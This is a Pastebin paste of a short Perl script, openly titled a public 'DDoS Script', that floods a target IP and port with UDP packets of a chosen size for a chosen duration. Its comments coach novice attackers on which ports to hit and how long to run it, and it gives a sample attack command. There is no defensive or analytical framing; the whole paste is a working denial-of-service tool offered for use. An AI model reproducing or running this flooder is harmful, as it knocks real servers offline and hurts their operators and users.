Guest User

Untitled

a guest
Aug 26th, 2016
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.22 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #Created by ~TwentyOne
  4. #Reccomendations (For skids):
  5. #IP -   Don't DDoS Government Websites.
  6. #Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
  7. #Size - Use '100 - 1000' (Reccomended).
  8. #Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
  9.  
  10. use Socket;
  11. use strict;
  12.  
  13. print '
  14. /$$$$$$$$                              /$$              /$$$$$$                  
  15. |__  $$__/                             | $$             /$$__  $$                  
  16.   | $$/$$  /$$  /$$ /$$$$$$ /$$$$$$$ /$$$$$$  /$$   /$| $$  \ $$/$$$$$$$  /$$$$$$ \'s (PUBLIC) DDoS Script ;)
  17.   | $| $$ | $$ | $$/$$__  $| $$__  $|_  $$_/ | $$  | $| $$  | $| $$__  $$/$$__  $$
  18.   | $| $$ | $$ | $| $$$$$$$| $$  \ $$ | $$   | $$  | $| $$  | $| $$  \ $| $$$$$$$$
  19.   | $| $$ | $$ | $| $$_____| $$  | $$ | $$ /$| $$  | $| $$  | $| $$  | $| $$_____/
  20.   | $|  $$$$$/$$$$|  $$$$$$| $$  | $$ |  $$$$|  $$$$$$|  $$$$$$| $$  | $|  $$$$$$$
  21.   |__/\_____/\___/ \_______|__/  |__/  \___/  \____  $$\______/|__/  |__/\_______/
  22.                                               /$$  | $$                          
  23.                                              |  $$$$$$/                          
  24.                                               \______/        
  25. ';
  26. print "\n";
  27.  
  28.  
  29. if ($#ARGV != 3) {
  30.   print "\n\t\t\t***Error command must recieve four arguements***\n";
  31.   print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  32.   print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  33.   exit(1);
  34. }
  35.  
  36. my ($ip,$port,$size,$time) = @ARGV;
  37. my ($iaddr,$endtime,$psize,$pport);
  38. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  39. $endtime = time() + ($time ? $time : 1000000);
  40. socket(flood, PF_INET, SOCK_DGRAM, 17);
  41. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  42. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  43. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  44. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  45. for (;time() <= $endtime;) {
  46.   $psize = $size ? $size : int(rand(1500-64)+64) ;
  47.   $pport = $port ? $port : int(rand(65500))+1;
  48.  
  49.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Add Comment
Please, Sign In to add comment